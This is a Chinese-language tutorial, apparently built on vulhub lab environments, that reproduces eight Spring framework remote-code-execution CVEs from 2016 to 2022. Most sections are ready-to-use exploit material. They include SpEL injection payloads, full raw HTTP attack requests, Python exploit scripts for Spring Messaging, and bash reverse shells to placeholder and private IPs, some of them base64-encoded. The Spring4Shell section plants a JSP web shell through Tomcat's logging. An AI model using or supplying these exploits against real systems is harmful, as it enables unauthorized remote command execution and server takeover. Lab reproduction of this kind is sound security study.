【漏洞复现】Spring 系列漏洞复现(全漏洞版本) 零、Spring 框架简介 Spring 是一个开源的Java 平台,用于企业级Java 应用开发。Spring 框架因其灵活性、易用性和强大的社区支持而广受好评,是构建企业级Java 应用的首选框架之一。
一、Spring Security OAuth2 远程代码执行RCE漏洞(CVE-2016-4977) 1、漏洞原因 Spring Security OAuth2 是Spring框架中提供安全认证支持的一个模块。在处理请求过程中如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,进而造成SpEL注入。攻击者通过构造response_type
值可以触发远程代码执行漏洞。
2、影响版本
Spring Security OAuth 2.0到2.0.14
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.3到2.3.2
3、漏洞复现 1、靶场首页
2、访问/oauth/authorized
默认账号密码:admin:admin
3、添加请求参数response_type
1 /oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
4、上POC
1 2 3 4 5 6 7 8 #!/usr/bin/env python message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc)
二、Spring WebFlow 远程代码执行漏洞(CVE-2017-4971) 1、漏洞原因 Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
在订阅酒店功能处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings ,一个是 addModelBindings。其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。
所以漏洞条件有两个:
binder节点为空;
useSpringBeanBinding 默认值(false)未修改。
2、影响版本 Spring WebFlow 2.4.0 - 2.4.4
3、漏洞复现 1、首页
2、点击左上角进行登陆
用给的账号密码进行登陆
3、访问hotels/1
的酒店
抓包Confirm
的POST请求。由于是存在token 的,所以这里使用重放是无法复现的,需要现抓改包
4、上POC
1 2 3 4 5 //1、创建文件 &_(new+java.lang.ProcessBuilder("touch","/tmp/1.txt")).start()=vulhub //2、反弹shell &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/4444+0>%261")).start()=vulhub
进容器查看
三、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046) 1、漏洞原因 Spring Data REST 服务器在处理 PATCH 请求时,攻击者可以构造恶意的 JSON 格式的 PATCH 请求并发送给spring-date-rest 服务器,来执行恶意的Java代码。
2、影响版本
Spring Data REST 版本 < 2.5.12、 2.6.7、 3.0 RC3
Spring Boot 版本 < 2.0.0M4
Spring Data release trains Kay-RC3 之前的版本
3、漏洞复现 1、首页
2、漏洞点在/customers/1
3、抓包上POC
需要把要执行的命令转成ASCII,这里借助python脚本
1 2 3 4 # Payload to ASCII payload = b'touch /tmp/shell.txt' bytecode = ','.join(str(i) for i in list(payload)) print(bytecode)
修改数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PATCH /customers/1 HTTP/1.1 Host: xxx.xxx.xxx.xxx:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 If-None-Match: "0" If-Modified-Since: Wed, 22 May 2024 06:13:21 GMT Connection: close Content-Type: application/json-patch+json Content-Length: 209 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,104,101,108,108,46,116,120,116}))/lastname", "value": "vulhub" }]
反弹shell 的POC,可讲命令替换成如下:
1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
四、Spring Messaging 远程命令执行漏洞(CVE-2018-1270) 1、漏洞原因 spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext
解析,造成命令执行漏洞。
2、影响版本
Spring Framework 5.0 到 5.0.4
Spring Framework 4.3 到 4.3.14
3、漏洞复现 1、首页
2、上exp
创建/tmp/1.txt
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #!/usr/bin/env python3 import requests import random import string import time import threading import logging import sys import json logging.basicConfig(stream=sys.stdout, level=logging.INFO) def random_str(length): letters = string.ascii_lowercase + string.digits return ''.join(random.choice(letters) for c in range(length)) class SockJS(threading.Thread): def __init__(self, url, *args, **kwargs): super().__init__(*args, **kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t = int(time.time()*1000) def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5) def send(self, command, headers, body=''): data = [command.upper(), '\n'] data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()])) data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)]) response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.") def __del__(self): self.session.close() sockjs = SockJS('http://your-ip:8080/gs-guide-websocket') sockjs.start() time.sleep(1) sockjs.send('connect', { 'accept-version': '1.1,1.0', 'heart-beat': '10000,10000' }) sockjs.send('subscribe', { 'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/1.txt')", 'id': 'sub-0', 'destination': '/topic/greetings' }) data = json.dumps({'name': 'vulhub'}) sockjs.send('send', { 'content-length': len(data), 'destination': '/app/hello' }, data)
反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #!/usr/bin/env python3 from asyncio.constants import LOG_THRESHOLD_FOR_CONNLOST_WRITES import requests import random import string import time import threading import logging import sys import json import base64 logging.basicConfig(stream=sys.stdout, level=logging.INFO) def random_str(length): letters = string.ascii_lowercase + string.digits return ''.join(random.choice(letters) for c in range(length)) class SockJS(threading.Thread): def __init__(self, url, *args, **kwargs): super().__init__(*args, **kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t = int(time.time()*1000) def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5) def send(self, command, headers, body=''): data = [command.upper(), '\n'] data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()])) data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)]) response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.") def __del__(self): self.session.close() def main(): sockjs = SockJS(url) sockjs.start() time.sleep(1) sockjs.send('connect', { 'accept-version': '1.1,1.0', 'heart-beat': '10000,10000' }) sockjs.send('subscribe', { 'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo," + command.decode('utf-8') + "}|{base64,-d}|{bash,-i}')", 'id': 'sub-0', 'destination': subscribe_dest }) data = json.dumps({'name': 'vulhub'}) sockjs.send('send', { 'content-length': len(data), 'destination': send_dest }, data) if __name__ == "__main__": url = 'http://1:8080/gs-guide-websocket' subscribe_dest = '/topic/greetings' send_dest = '/app/hello' lhost = '127.0.0.1' lport = '9999' command = base64.b64encode('bash -i >& /dev/tcp/{}/{} 0>&1'.format(lhost,lport).encode('utf-8')) main()
五、Spring Data Commons 远程命令执行漏洞(CVE-2018-1273) 1、漏洞原因 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
2、影响版本
Spring Data Commons 1.13 到 1.13.10
Spring Data Commons 2.0 到 2.0.5
3、漏洞复现 1、首页
2、漏洞点注册页面/users
3、漏洞复现
注册并抓包
1 [#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/1.txt")]
写入成功
六、Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947) 1、漏洞原因 Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
2、影响版本
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
3、漏洞复现 1、首页
2、添加一个恶意请求的路由。POST请求/actuator/gateway/routes/pentest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: xx.xx.xxx.xx:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }
3、刷新路由,触发表达式
1 2 3 4 5 6 7 8 9 POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.32.130:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
4、查看回显
1 2 3 4 5 6 7 8 9 GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.32.130:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
5、删除路由
1 2 3 4 5 6 7 DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.32.130:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close
七、Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963) 1、漏洞原因 Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
2、影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
3、漏洞复现 post 请求/functionRouter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /functionRouter HTTP/1.1 Host: xx.xx.xx.xx:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: wp-settings-time-1=1687934495 Connection: close spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/1.txt") Content-Type: application/x-www-form-urlencoded Content-Length: 0
反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /functionRouter HTTP/1.1 Host: xx.xx.x.xx:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: wp-settings-time-1=1687934495 Connection: close spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}") Content-Type: application/x-www-form-urlencoded Content-Length: 0
八、Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞(CVE-2022-22965) 1、漏洞原因 在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞。现在已知的利用方法要求应用程序以WAR部署的形式在Tomcat上运行。
然而,该漏洞的性质更为普遍,可能有其他方法可以利用它。可修改tomcat 日志存储路径与后缀,向日志中写入jsp
2、影响版本
Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 以及更早的版本
3、漏洞复现 1、首页
2、添加参数:name=admin&age=123
3、上poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: xx.x.x.x:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 Accept-Language: zh-CN,zh;q=0.9 Cookie: wp-settings-time-1=1687934495; JSESSIONID=CF57B4777BD071833A15E58A4845A84D Connection: close
该poc改变Tomcat 日志为``tomcatwar.jsp`,如下执行命令
1 http://xxx.xx.x.x:8080/tomcatwar.jsp?pwd=j&cmd=id